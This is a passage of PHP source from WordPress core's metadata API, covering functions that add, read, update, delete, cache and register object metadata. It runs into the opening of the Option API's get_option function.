* @param string $meta_key Metadata key
* @param mixed $meta_value Optional. Metadata value. Must be serializable if non-scalar. If specified, only delete
* metadata entries with this value. Otherwise, delete all entries with the specified meta_key.
* Pass `null`, `false`, or an empty string to skip this check. (For backward compatibility,
* it is not possible to pass an empty string to delete those entries with an empty string
* for a value.)
* @param bool $delete_all Optional, default is false. If true, delete matching metadata entries for all objects,
* ignoring the specified object_id. Otherwise, only delete matching metadata entries for
* the specified object_id.
* @return bool True on successful delete, false on failure.
*/
function delete_metadata( $meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id && ! $delete_all ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$type_column = sanitize_key( $meta_type . '_id' );
$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$meta_key = wp_unslash( $meta_key );
$meta_value = wp_unslash( $meta_value );
/**
* Filters whether to delete metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 3.1.0
*
* @param null|bool $delete Whether to allow metadata deletion of the given type.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value. Must be serializable if non-scalar.
* @param bool $delete_all Whether to delete the matching metadata entries
* for all objects, ignoring the specified $object_id.
* Default false.
*/
$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
if ( null !== $check ) {
return (bool) $check;
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
if ( ! $delete_all ) {
$query .= $wpdb->prepare( " AND $type_column = %d", $object_id );
}
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$query .= $wpdb->prepare( ' AND meta_value = %s', $meta_value );
}
$meta_ids = $wpdb->get_col( $query );
if ( ! count( $meta_ids ) ) {
return false;
}
if ( $delete_all ) {
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = %s", $meta_key, $meta_value ) );
} else {
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
}
}
/**
* Fires immediately before deleting metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user).
*
* @since 3.1.0
*
* @param array $meta_ids An array of metadata entry IDs to delete.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $_meta_value Meta value.
*/
do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
// Old-style action.
if ( 'post' == $meta_type ) {
/**
* Fires immediately before deleting metadata for a post.
*
* @since 2.9.0
*
* @param array $meta_ids An array of post metadata entry IDs to delete.
*/
do_action( 'delete_postmeta', $meta_ids );
}
$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . ' )';
$count = $wpdb->query( $query );
if ( ! $count ) {
return false;
}
if ( $delete_all ) {
foreach ( (array) $object_ids as $o_id ) {
wp_cache_delete( $o_id, $meta_type . '_meta' );
}
} else {
wp_cache_delete( $object_id, $meta_type . '_meta' );
}
/**
* Fires immediately after deleting metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta
* object type (comment, post, term, or user).
*
* @since 2.9.0
*
* @param array $meta_ids An array of deleted metadata entry IDs.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $_meta_value Meta value.
*/
do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
// Old-style action.
if ( 'post' == $meta_type ) {
/**
* Fires immediately after deleting metadata for a post.
*
* @since 2.9.0
*
* @param array $meta_ids An array of deleted post metadata entry IDs.
*/
do_action( 'deleted_postmeta', $meta_ids );
}
return true;
}
/**
* Retrieve metadata for the specified object.
*
* @since 2.9.0
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $object_id ID of the object metadata is for
* @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for
* the specified object.
* @param bool $single Optional, default is false.
* If true, return only the first value of the specified meta_key.
* This parameter has no effect if meta_key is not specified.
* @return mixed Single metadata value, or array of values
*/
function get_metadata( $meta_type, $object_id, $meta_key = '', $single = false ) {
if ( ! $meta_type || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
/**
* Filters whether to retrieve metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 3.1.0
*
* @param null|array|string $value The value get_metadata() should return - a single metadata value,
* or an array of values.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param bool $single Whether to return only the first value of the specified $meta_key.
*/
$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single );
if ( null !== $check ) {
if ( $single && is_array( $check ) ) {
return $check[0];
} else {
return $check;
}
}
$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
if ( ! $meta_cache ) {
$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
$meta_cache = $meta_cache[ $object_id ];
}
if ( ! $meta_key ) {
return $meta_cache;
}
if ( isset( $meta_cache[ $meta_key ] ) ) {
if ( $single ) {
return maybe_unserialize( $meta_cache[ $meta_key ][0] );
} else {
return array_map( 'maybe_unserialize', $meta_cache[ $meta_key ] );
}
}
if ( $single ) {
return '';
} else {
return array();
}
}
/**
* Determine if a meta key is set for a given object
*
* @since 3.3.0
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $object_id ID of the object metadata is for
* @param string $meta_key Metadata key.
* @return bool True of the key is set, false if not.
*/
function metadata_exists( $meta_type, $object_id, $meta_key ) {
if ( ! $meta_type || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
/** This filter is documented in wp-includes/meta.php */
$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true );
if ( null !== $check ) {
return (bool) $check;
}
$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
if ( ! $meta_cache ) {
$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
$meta_cache = $meta_cache[ $object_id ];
}
if ( isset( $meta_cache[ $meta_key ] ) ) {
return true;
}
return false;
}
/**
* Get meta data by meta ID
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $meta_id ID for a specific meta row
* @return object|false Meta object or false.
*/
function get_metadata_by_mid( $meta_type, $meta_id ) {
global $wpdb;
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = intval( $meta_id );
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$id_column = ( 'user' == $meta_type ) ? 'umeta_id' : 'meta_id';
/**
* Filters whether to retrieve metadata of a specific type by meta ID.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 5.0.0
*
* @param mixed $value The value get_metadata_by_mid() should return.
* @param int $meta_id Meta ID.
*/
$check = apply_filters( "get_{$meta_type}_metadata_by_mid", null, $meta_id );
if ( null !== $check ) {
return $check;
}
$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );
if ( empty( $meta ) ) {
return false;
}
if ( isset( $meta->meta_value ) ) {
$meta->meta_value = maybe_unserialize( $meta->meta_value );
}
return $meta;
}
/**
* Update meta data by meta ID
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $meta_id ID for a specific meta row
* @param string $meta_value Metadata value
* @param string $meta_key Optional, you can provide a meta key to update it
* @return bool True on successful update, false on failure.
*/
function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
global $wpdb;
// Make sure everything is valid.
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = intval( $meta_id );
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$column = sanitize_key( $meta_type . '_id' );
$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
/**
* Filters whether to update metadata of a specific type by meta ID.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 5.0.0
*
* @param null|bool $check Whether to allow updating metadata for the given type.
* @param int $meta_id Meta ID.
* @param mixed $meta_value Meta value. Must be serializable if non-scalar.
* @param string|bool $meta_key Meta key, if provided.
*/
$check = apply_filters( "update_{$meta_type}_metadata_by_mid", null, $meta_id, $meta_value, $meta_key );
if ( null !== $check ) {
return (bool) $check;
}
// Fetch the meta and go on if it's found.
if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) {
$original_key = $meta->meta_key;
$object_id = $meta->{$column};
// If a new meta_key (last parameter) was specified, change the meta key,
// otherwise use the original key in the update statement.
if ( false === $meta_key ) {
$meta_key = $original_key;
} elseif ( ! is_string( $meta_key ) ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
// Sanitize the meta
$_meta_value = $meta_value;
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
$meta_value = maybe_serialize( $meta_value );
// Format the data query arguments.
$data = array(
'meta_key' => $meta_key,
'meta_value' => $meta_value,
);
// Format the where query arguments.
$where = array();
$where[ $id_column ] = $meta_id;
/** This action is documented in wp-includes/meta.php */
do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' == $meta_type ) {
/** This action is documented in wp-includes/meta.php */
do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
// Run the update query, all fields in $data are %s, $where is a %d.
$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
if ( ! $result ) {
return false;
}
// Clear the caches.
wp_cache_delete( $object_id, $meta_type . '_meta' );
/** This action is documented in wp-includes/meta.php */
do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' == $meta_type ) {
/** This action is documented in wp-includes/meta.php */
do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
return true;
}
// And if the meta was not found.
return false;
}
/**
* Delete meta data by meta ID
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $meta_id ID for a specific meta row
* @return bool True on successful delete, false on failure.
*/
function delete_metadata_by_mid( $meta_type, $meta_id ) {
global $wpdb;
// Make sure everything is valid.
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = intval( $meta_id );
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
// object and id columns
$column = sanitize_key( $meta_type . '_id' );
$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
/**
* Filters whether to delete metadata of a specific type by meta ID.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 5.0.0
*
* @param null|bool $delete Whether to allow metadata deletion of the given type.
* @param int $meta_id Meta ID.
*/
$check = apply_filters( "delete_{$meta_type}_metadata_by_mid", null, $meta_id );
if ( null !== $check ) {
return (bool) $check;
}
// Fetch the meta and go on if it's found.
if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) {
$object_id = (int) $meta->{$column};
/** This action is documented in wp-includes/meta.php */
do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
// Old-style action.
if ( 'post' == $meta_type || 'comment' == $meta_type ) {
/**
* Fires immediately before deleting post or comment metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (post or comment).
*
* @since 3.4.0
*
* @param int $meta_id ID of the metadata entry to delete.
*/
do_action( "delete_{$meta_type}meta", $meta_id );
}
// Run the query, will return true if deleted, false otherwise
$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );
// Clear the caches.
wp_cache_delete( $object_id, $meta_type . '_meta' );
/** This action is documented in wp-includes/meta.php */
do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
// Old-style action.
if ( 'post' == $meta_type || 'comment' == $meta_type ) {
/**
* Fires immediately after deleting post or comment metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (post or comment).
*
* @since 3.4.0
*
* @param int $meta_ids Deleted metadata entry ID.
*/
do_action( "deleted_{$meta_type}meta", $meta_id );
}
return $result;
}
// Meta id was not found.
return false;
}
/**
* Update the metadata cache for the specified objects.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int|array $object_ids Array or comma delimited list of object IDs to update cache for
* @return array|false Metadata cache for the specified objects, or false on failure.
*/
function update_meta_cache( $meta_type, $object_ids ) {
global $wpdb;
if ( ! $meta_type || ! $object_ids ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$column = sanitize_key( $meta_type . '_id' );
if ( ! is_array( $object_ids ) ) {
$object_ids = preg_replace( '|[^0-9,]|', '', $object_ids );
$object_ids = explode( ',', $object_ids );
}
$object_ids = array_map( 'intval', $object_ids );
/**
* Filters whether to update the metadata cache of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 5.0.0
*
* @param mixed $check Whether to allow updating the meta cache of the given type.
* @param array $object_ids Array of object IDs to update the meta cache for.
*/
$check = apply_filters( "update_{$meta_type}_metadata_cache", null, $object_ids );
if ( null !== $check ) {
return (bool) $check;
}
$cache_key = $meta_type . '_meta';
$ids = array();
$cache = array();
foreach ( $object_ids as $id ) {
$cached_object = wp_cache_get( $id, $cache_key );
if ( false === $cached_object ) {
$ids[] = $id;
} else {
$cache[ $id ] = $cached_object;
}
}
if ( empty( $ids ) ) {
return $cache;
}
// Get meta info
$id_list = join( ',', $ids );
$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
$meta_list = $wpdb->get_results( "SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list) ORDER BY $id_column ASC", ARRAY_A );
if ( ! empty( $meta_list ) ) {
foreach ( $meta_list as $metarow ) {
$mpid = intval( $metarow[ $column ] );
$mkey = $metarow['meta_key'];
$mval = $metarow['meta_value'];
// Force subkeys to be array type:
if ( ! isset( $cache[ $mpid ] ) || ! is_array( $cache[ $mpid ] ) ) {
$cache[ $mpid ] = array();
}
if ( ! isset( $cache[ $mpid ][ $mkey ] ) || ! is_array( $cache[ $mpid ][ $mkey ] ) ) {
$cache[ $mpid ][ $mkey ] = array();
}
// Add a value to the current pid/key:
$cache[ $mpid ][ $mkey ][] = $mval;
}
}
foreach ( $ids as $id ) {
if ( ! isset( $cache[ $id ] ) ) {
$cache[ $id ] = array();
}
wp_cache_add( $id, $cache[ $id ], $cache_key );
}
return $cache;
}
/**
* Retrieves the queue for lazy-loading metadata.
*
* @since 4.5.0
*
* @return WP_Metadata_Lazyloader $lazyloader Metadata lazyloader queue.
*/
function wp_metadata_lazyloader() {
static $wp_metadata_lazyloader;
if ( null === $wp_metadata_lazyloader ) {
$wp_metadata_lazyloader = new WP_Metadata_Lazyloader();
}
return $wp_metadata_lazyloader;
}
/**
* Given a meta query, generates SQL clauses to be appended to a main query.
*
* @since 3.2.0
*
* @see WP_Meta_Query
*
* @param array $meta_query A meta query.
* @param string $type Type of meta.
* @param string $primary_table Primary database table name.
* @param string $primary_id_column Primary ID column name.
* @param object $context Optional. The main query object
* @return array Associative array of `JOIN` and `WHERE` SQL.
*/
function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) {
$meta_query_obj = new WP_Meta_Query( $meta_query );
return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context );
}
/**
* Retrieve the name of the metadata table for the specified object type.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $type Type of object to get metadata table for (e.g., comment, post, term, or user).
* @return string|false Metadata table name, or false if no metadata table exists
*/
function _get_meta_table( $type ) {
global $wpdb;
$table_name = $type . 'meta';
if ( empty( $wpdb->$table_name ) ) {
return false;
}
return $wpdb->$table_name;
}
/**
* Determines whether a meta key is considered protected.
*
* @since 3.1.3
*
* @param string $meta_key Meta key.
* @param string|null $meta_type Optional. Type of object metadata is for (e.g., comment, post, term, or user).
* @return bool Whether the meta key is considered protected.
*/
function is_protected_meta( $meta_key, $meta_type = '' ) {
$sanitized_key = preg_replace( "/[^\x20-\x7E\p{L}]/", '', $meta_key );
$protected = strlen( $sanitized_key ) > 0 && ( '_' === $sanitized_key[0] );
/**
* Filters whether a meta key is considered protected.
*
* @since 3.2.0
*
* @param bool $protected Whether the key is considered protected.
* @param string $meta_key Meta key.
* @param string|null $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}
/**
* Sanitize meta value.
*
* @since 3.1.3
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value to sanitize.
* @param string $object_type Type of object the meta is registered to.
* @param string $object_subtype Optional. The subtype of the object type.
*
* @return mixed Sanitized $meta_value.
*/
function sanitize_meta( $meta_key, $meta_value, $object_type, $object_subtype = '' ) {
if ( ! empty( $object_subtype ) && has_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) {
/**
* Filters the sanitization of a specific meta key of a specific meta type and subtype.
*
* The dynamic portions of the hook name, `$object_type`, `$meta_key`,
* and `$object_subtype`, refer to the metadata object type (comment, post, term, or user),
* the meta key value, and the object subtype respectively.
*
* @since 4.9.8
*
* @param mixed $meta_value Meta value to sanitize.
* @param string $meta_key Meta key.
* @param string $object_type Object type.
* @param string $object_subtype Object subtype.
*/
return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $meta_value, $meta_key, $object_type, $object_subtype );
}
/**
* Filters the sanitization of a specific meta key of a specific meta type.
*
* The dynamic portions of the hook name, `$meta_type`, and `$meta_key`,
* refer to the metadata object type (comment, post, term, or user) and the meta
* key value, respectively.
*
* @since 3.3.0
*
* @param mixed $meta_value Meta value to sanitize.
* @param string $meta_key Meta key.
* @param string $object_type Object type.
*/
return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}", $meta_value, $meta_key, $object_type );
}
/**
* Registers a meta key.
*
* It is recommended to register meta keys for a specific combination of object type and object subtype. If passing
* an object subtype is omitted, the meta key will be registered for the entire object type, however it can be partly
* overridden in case a more specific meta key of the same name exists for the same object type and a subtype.
*
* If an object type does not support any subtypes, such as users or comments, you should commonly call this function
* without passing a subtype.
*
* @since 3.3.0
* @since 4.6.0 {@link https://core.trac.wordpress.org/ticket/35658 Modified
* to support an array of data to attach to registered meta keys}. Previous arguments for
* `$sanitize_callback` and `$auth_callback` have been folded into this array.
* @since 4.9.8 The `$object_subtype` argument was added to the arguments array.
*
* @param string $object_type Type of object this meta is registered to.
* @param string $meta_key Meta key to register.
* @param array $args {
* Data used to describe the meta key when registered.
*
* @type string $object_subtype A subtype; e.g. if the object type is "post", the post type. If left empty,
* the meta key will be registered on the entire object type. Default empty.
* @type string $type The type of data associated with this meta key.
* Valid values are 'string', 'boolean', 'integer', and 'number'.
* @type string $description A description of the data attached to this meta key.
* @type bool $single Whether the meta key has one value per object, or an array of values per object.
* @type string $sanitize_callback A function or method to call when sanitizing `$meta_key` data.
* @type string $auth_callback Optional. A function or method to call when performing edit_post_meta, add_post_meta, and delete_post_meta capability checks.
* @type bool $show_in_rest Whether data associated with this meta key can be considered public.
* }
* @param string|array $deprecated Deprecated. Use `$args` instead.
*
* @return bool True if the meta key was successfully registered in the global array, false if not.
* Registering a meta key with distinct sanitize and auth callbacks will fire those
* callbacks, but will not add to the global registry.
*/
function register_meta( $object_type, $meta_key, $args, $deprecated = null ) {
global $wp_meta_keys;
if ( ! is_array( $wp_meta_keys ) ) {
$wp_meta_keys = array();
}
$defaults = array(
'object_subtype' => '',
'type' => 'string',
'description' => '',
'single' => false,
'sanitize_callback' => null,
'auth_callback' => null,
'show_in_rest' => false,
);
// There used to be individual args for sanitize and auth callbacks
$has_old_sanitize_cb = false;
$has_old_auth_cb = false;
if ( is_callable( $args ) ) {
$args = array(
'sanitize_callback' => $args,
);
$has_old_sanitize_cb = true;
} else {
$args = (array) $args;
}
if ( is_callable( $deprecated ) ) {
$args['auth_callback'] = $deprecated;
$has_old_auth_cb = true;
}
/**
* Filters the registration arguments when registering meta.
*
* @since 4.6.0
*
* @param array $args Array of meta registration arguments.
* @param array $defaults Array of default arguments.
* @param string $object_type Object type.
* @param string $meta_key Meta key.
*/
$args = apply_filters( 'register_meta_args', $args, $defaults, $object_type, $meta_key );
$args = wp_parse_args( $args, $defaults );
$object_subtype = ! empty( $args['object_subtype'] ) ? $args['object_subtype'] : '';
// If `auth_callback` is not provided, fall back to `is_protected_meta()`.
if ( empty( $args['auth_callback'] ) ) {
if ( is_protected_meta( $meta_key, $object_type ) ) {
$args['auth_callback'] = '__return_false';
} else {
$args['auth_callback'] = '__return_true';
}
}
// Back-compat: old sanitize and auth callbacks are applied to all of an object type.
if ( is_callable( $args['sanitize_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
add_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'], 10, 4 );
} else {
add_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'], 10, 3 );
}
}
if ( is_callable( $args['auth_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
add_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'], 10, 6 );
} else {
add_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'], 10, 6 );
}
}
// Global registry only contains meta keys registered with the array of arguments added in 4.6.0.
if ( ! $has_old_auth_cb && ! $has_old_sanitize_cb ) {
unset( $args['object_subtype'] );
$wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] = $args;
return true;
}
return false;
}
/**
* Checks if a meta key is registered.
*
* @since 4.6.0
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $object_type The type of object.
* @param string $meta_key The meta key.
* @param string $object_subtype Optional. The subtype of the object type.
*
* @return bool True if the meta key is registered to the object type and, if provided,
* the object subtype. False if not.
*/
function registered_meta_key_exists( $object_type, $meta_key, $object_subtype = '' ) {
$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );
return isset( $meta_keys[ $meta_key ] );
}
/**
* Unregisters a meta key from the list of registered keys.
*
* @since 4.6.0
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $object_type The type of object.
* @param string $meta_key The meta key.
* @param string $object_subtype Optional. The subtype of the object type.
* @return bool True if successful. False if the meta key was not registered.
*/
function unregister_meta_key( $object_type, $meta_key, $object_subtype = '' ) {
global $wp_meta_keys;
if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
return false;
}
$args = $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ];
if ( isset( $args['sanitize_callback'] ) && is_callable( $args['sanitize_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
remove_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'] );
} else {
remove_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'] );
}
}
if ( isset( $args['auth_callback'] ) && is_callable( $args['auth_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
remove_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'] );
} else {
remove_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'] );
}
}
unset( $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] );
// Do some clean up
if ( empty( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
unset( $wp_meta_keys[ $object_type ][ $object_subtype ] );
}
if ( empty( $wp_meta_keys[ $object_type ] ) ) {
unset( $wp_meta_keys[ $object_type ] );
}
return true;
}
/**
* Retrieves a list of registered meta keys for an object type.
*
* @since 4.6.0
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $object_type The type of object. Post, comment, user, term.
* @param string $object_subtype Optional. The subtype of the object type.
* @return array List of registered meta keys.
*/
function get_registered_meta_keys( $object_type, $object_subtype = '' ) {
global $wp_meta_keys;
if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $object_type ] ) || ! isset( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
return array();
}
return $wp_meta_keys[ $object_type ][ $object_subtype ];
}
/**
* Retrieves registered metadata for a specified object.
*
* The results include both meta that is registered specifically for the
* object's subtype and meta that is registered for the entire object type.
*
* @since 4.6.0
*
* @param string $object_type Type of object to request metadata for. (e.g. comment, post, term, user)
* @param int $object_id ID of the object the metadata is for.
* @param string $meta_key Optional. Registered metadata key. If not specified, retrieve all registered
* metadata for the specified object.
* @return mixed A single value or array of values for a key if specified. An array of all registered keys
* and values for an object ID if not. False if a given $meta_key is not registered.
*/
function get_registered_metadata( $object_type, $object_id, $meta_key = '' ) {
$object_subtype = get_object_subtype( $object_type, $object_id );
if ( ! empty( $meta_key ) ) {
if ( ! empty( $object_subtype ) && ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
$object_subtype = '';
}
if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
return false;
}
$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );
$meta_key_data = $meta_keys[ $meta_key ];
$data = get_metadata( $object_type, $object_id, $meta_key, $meta_key_data['single'] );
return $data;
}
$data = get_metadata( $object_type, $object_id );
if ( ! $data ) {
return array();
}
$meta_keys = get_registered_meta_keys( $object_type );
if ( ! empty( $object_subtype ) ) {
$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $object_type, $object_subtype ) );
}
return array_intersect_key( $data, $meta_keys );
}
/**
* Filter out `register_meta()` args based on a whitelist.
* `register_meta()` args may change over time, so requiring the whitelist
* to be explicitly turned off is a warranty seal of sorts.
*
* @access private
* @since 4.6.0
*
* @param array $args Arguments from `register_meta()`.
* @param array $default_args Default arguments for `register_meta()`.
*
* @return array Filtered arguments.
*/
function _wp_register_meta_args_whitelist( $args, $default_args ) {
return array_intersect_key( $args, $default_args );
}
/**
* Returns the object subtype for a given object ID of a specific type.
*
* @since 4.9.8
*
* @param string $object_type Type of object to request metadata for. (e.g. comment, post, term, user)
* @param int $object_id ID of the object to retrieve its subtype.
* @return string The object subtype or an empty string if unspecified subtype.
*/
function get_object_subtype( $object_type, $object_id ) {
$object_id = (int) $object_id;
$object_subtype = '';
switch ( $object_type ) {
case 'post':
$post_type = get_post_type( $object_id );
if ( ! empty( $post_type ) ) {
$object_subtype = $post_type;
}
break;
case 'term':
$term = get_term( $object_id );
if ( ! $term instanceof WP_Term ) {
break;
}
$object_subtype = $term->taxonomy;
break;
case 'comment':
$comment = get_comment( $object_id );
if ( ! $comment ) {
break;
}
$object_subtype = 'comment';
break;
case 'user':
$user = get_user_by( 'id', $object_id );
if ( ! $user ) {
break;
}
$object_subtype = 'user';
break;
}
/**
* Filters the object subtype identifier for a non standard object type.
*
* The dynamic portion of the hook, `$object_type`, refers to the object
* type (post, comment, term, or user).
*
* @since 4.9.8
*
* @param string $object_subtype Empty string to override.
* @param int $object_id ID of the object to get the subtype for.
*/
return apply_filters( "get_object_subtype_{$object_type}", $object_subtype, $object_id );
}
/**
* Option API
*
* @package WordPress
* @subpackage Option
*/
/**
* Retrieves an option value based on an option name.
*
* If the option does not exist or does not have a value, then the return value
* will be false. This is useful to check whether you need to install an option
* and is commonly used during installation of plugin options and to test
* whether upgrading is required.
*
* If the option was serialized then it will be unserialized when it is returned.
*
* Any scalar values will be returned as strings. You may coerce the return type of
* a given option by registering an {@see 'option_$option'} filter callback.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
* @param mixed $default Optional. Default value to return if the option does not exist.
* @return mixed Value set for the option.
*/
function get_option( $option, $default = false ) {
global $wpdb;
$option = trim( $option );
if ( empty( $option ) ) {
return false;
}
/**
* Filters the value of an existing option before it is retrieved.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* Passing a truthy value to the filter will short-circuit retrieving
* the option value, returning the passed value instead.
*
* @since 1.5.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.9.0 The `$default` parameter was added.
*
* @param bool|mixed $pre_option The value to return instead of the option value. This differs from
